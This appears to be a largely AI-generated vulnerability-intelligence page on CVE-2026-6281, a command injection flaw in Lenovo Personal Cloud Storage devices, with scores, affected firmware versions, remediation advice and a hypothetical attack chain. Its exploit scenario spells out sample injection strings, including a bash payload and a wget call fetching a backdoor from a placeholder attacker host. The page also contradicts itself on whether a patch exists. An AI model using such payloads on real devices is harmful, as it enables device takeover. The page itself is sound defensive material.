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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege credentials
  2. Delivery
    Connect to device web interface
  3. Exploit
    Inject shell metacharacters in vulnerable input field
  4. Execution
    Execute arbitrary system commands
  5. Impact
    Achieve full device compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires low-privilege authenticated user credentials to the Lenovo Personal Cloud Storage device AND network connectivity to the device (local network access). The CVSS vector confirms PR:L (low-privilege authentication required, not admin-level) and AV:N (network attack vector), while the description explicitly states 'remote authenticated user on the local network', limiting exposure to LAN-connected attackers. Devices must be reachable on the network where the attacker is present - internet-exposed devices with weak authentication face highest risk, while devices on isolated network segments accessible only to trusted users face lower risk. No special feature enablement or non-default configuration indicated; the vulnerability appears to affect standard device operation. Exploitation is limited by: (1) requirement for valid credentials (though low-privilege), (2) network positioning (local network access, not exploitable from internet unless device is exposed), (3) user interaction not required (UI:N), making automated exploitation possible once credentials are obtained.

Impact

Real-world risk is MODERATE despite the high CVSS 8.7 score, due to significant limiting factors. Attack vector is network-based (AV:N) with low complexity (AC:L), but requires low-privilege authentication (PR:L) and local network access (implicit in 'remote authenticated user on the local network'). The CVSS v4.0 vector shows high confidentiality, integrity, and availability impact (VC:H/VI:H/VA:H) with no subsequent system impact (SC:N/SI:N/SA:N), indicating total compromise of the vulnerable device but not lateral movement. No EPSS score provided, but absence from CISA KEV and no identified public exploit code suggests this is not currently being exploited at scale. However, authentication requirements are relatively weak (PR:L indicates any authenticated user, not just administrators), and NAS devices commonly have default credentials or weak passwords. The reference to end-of-life notices for T1 models is concerning, as some devices may never receive patches. Primary risk scenarios: (1) compromised internal networks where attacker has stolen low-privilege credentials, (2) devices exposed to internet via port forwarding with weak authentication, (3) insider threats with legitimate access. Organizations using these devices in trusted network segments with strong credential management face lower immediate risk than those with internet-exposed or poorly managed deployments.

Exploit ScenarioDerived

An attacker on the local network obtains valid low-privilege credentials through phishing, credential stuffing, or exploiting default passwords. They authenticate to the Lenovo Personal Cloud Storage web interface and locate an input field (likely file management, share configuration, or system settings) that accepts user-supplied strings. By injecting shell metacharacters and command sequences (e.g., '; /bin/bash -c "malicious_payload"' or 'wget attacker.com/backdoor'), they break out of the intended command context and execute arbitrary commands with the privileges of the web service. This grants full control of the device, enabling data exfiltration, firmware modification, or using the compromised NAS as a pivot point for lateral movement within the network. No public exploit code confirmed, but command injection vulnerabilities are typically straightforward to exploit once the injection point is identified.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

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AnalysisAIv2 – May 13, 2026

Remote command execution in Lenovo Personal Cloud Storage devices (T1, T2, T2S, T2Pro, X1, X1S, A1, A1S, and Home Storage Hub T20/X20) allows authenticated users on the local network to execute arbitrary commands via OS command injection (CWE-78). The CVSS v4.0 score of 8.7 reflects complete system compromise potential (VC:H/VI:H/VA:H) through network attack with low complexity but requiring low-privilege authentication (AV:N/AC:L/PR:L). No evidence of active exploitation (not in CISA KEV) or public exploit code identified at time of analysis. Lenovo has issued advisories including end-of-life notices for certain models (T1), indicating some affected products may not receive patches.

Earlier versions of this analysis (1)
v1 May 13, 2026 - 16:00 CVSS 8.8

Command injection in Lenovo Personal Cloud Storage devices allows authenticated users on the local network to execute arbitrary commands with high privileges. The vulnerability affects ten product lines including Personal Cloud T2S, T2Pro, X1S, Home Storage Hub T20/X20, and legacy models T1, A1, A1S, T2, and X1. Despite the CVSS vector indicating network-based attack (AV:N), exploitation is realistically constrained to local network access with valid credentials (PR:L), limiting remote internet-based attacks. No active exploitation confirmed at time of analysis, and EPSS/KEV data not provided to assess real-world targeting.

RemediationAI

Check Lenovo's official advisories at https://iknow.lenovo.com.cn/detail/440274 for firmware updates specific to your device model. For Personal Cloud T1 devices, note the EOL announcement at https://pc.lenovo.com.cn/tips/Ann/t1_eol.html - these devices may not receive patches and should be decommissioned or isolated. For models still receiving support, apply the latest firmware as soon as available and verify the update through the device management interface. Compensating controls for unpatched or EOL devices: (1) Isolate devices on dedicated VLAN with strict firewall rules preventing internet access and limiting access to only required clients; (2) Disable remote access features and remove any port forwarding rules; (3) Implement strong authentication (change all default credentials, enforce complex passwords, enable multi-factor authentication if supported); (4) Monitor device logs for suspicious command execution attempts or unexpected administrative actions; (5) Consider replacing EOL devices with currently-supported NAS solutions. Network segmentation is critical - these devices should NEVER be directly internet-accessible. Note that disabling all network access defeats the device's purpose, so risk acceptance or device replacement may be the only viable long-term options for EOL models.

Affected VersionsENISA

Home Storage Hub X20 0 <5.4.4.x20.1
Personal Cloud T2Pro 0 <5.4.8.t2pro.2
Personal Cloud T2s 0 <5.5.6.t2s.3
Personal Cloud T2 0 ≤5.4.5.t2.2
Home Storage Hub T20 0 <5.5.8.t20.1
Personal Cloud X1 0 ≤5.4.7.x1.1
Personal Cloud A1s 0 ≤5.5.6.a1s
Personal Cloud T1 0 ≤5.4.0.t1.6
Personal Cloud X1s 0 <5.4.8.x1s.2
Personal Cloud A1 0 ≤5.4.2.a1.3

Affected Packages

euvd home_storage_hub_t20 fix: 5.5.8.t20.1
euvd home_storage_hub_x20 fix: 5.4.4.x20.1
euvd personal_cloud_a1 no fix
euvd personal_cloud_a1s no fix
euvd personal_cloud_t1 no fix
euvd personal_cloud_t2 no fix
euvd personal_cloud_t2pro fix: 5.4.8.t2pro.2
euvd personal_cloud_t2s fix: 5.5.6.t2s.3
euvd personal_cloud_x1 no fix
euvd personal_cloud_x1s fix: 5.4.8.x1s.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 10 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability stems from CWE-78 (OS Command Injection), where user-supplied input is improperly sanitized before being passed to system shell commands. The affected Lenovo Personal Cloud Storage devices run embedded Linux-based firmware that likely exposes administrative or API interfaces to authenticated users. CPE data identifies ten distinct product lines affected: Personal Cloud T1, T2, T2S, T2Pro, X1, X1S, A1, A1S, and Home Storage Hub T20/X20. These are network-attached storage (NAS) appliances designed for home and small business use, typically exposing web management interfaces and file-sharing protocols (SMB/CIFS, NFS, WebDAV). The command injection likely occurs in a web application component that processes user input without proper escaping, allowing shell metacharacters to break out of intended command contexts and execute attacker-controlled code with the privileges of the web service process, potentially root or an equivalently privileged system account.

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Severity by source

Vendor (lenovo) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (lenovo) · only source for this CVE.

CVSS VectorVendor: lenovo

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Patch available
May 13, 2026 - 16:33 EUVD
Analysis Updated
May 13, 2026 - 16:29 vuln.today
v2 - CVSS changed
CVSS changed
May 13, 2026 - 16:22 NVD
8.8 (HIGH) 8.7 (HIGH)
CVE Published
May 13, 2026 - 14:15 nvd
HIGH 8.8

DescriptionCVE.org

A potential vulnerability was reported in some Lenovo Personal Cloud Storage devices that could allow a remote authenticated user on the local network to execute arbitrary commands on the device.

Executive ViewAI

Why It Matters

CVE-2026-6281 affects Lenovo Personal Cloud Storage devices across multiple product lines, enabling authenticated network users to execute arbitrary commands and achieve complete system compromise. Organizations using these devices for data storage face potential data theft, ransomware deployment, and operational disruption, particularly concerning given that some product lines (T1) have reached end-of-life with no patch availability.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to affected devices via firewall rules-permit connections only from designated administrative IP ranges; (2) Disable unnecessary remote management protocols (SSH, web interface) if local-only access suffices; (3) Enforce multi-factor authentication if device supports it; (4) Monitor device logs for suspicious command patterns and authentication failures; (5) Segment affected devices on isolated VLANs separate from critical business systems; (6) Implement regular backups of data stored on these devices to enable recovery from compromise.

Threat Intelligence Overview

EPSS Score
0.2%
Top 59% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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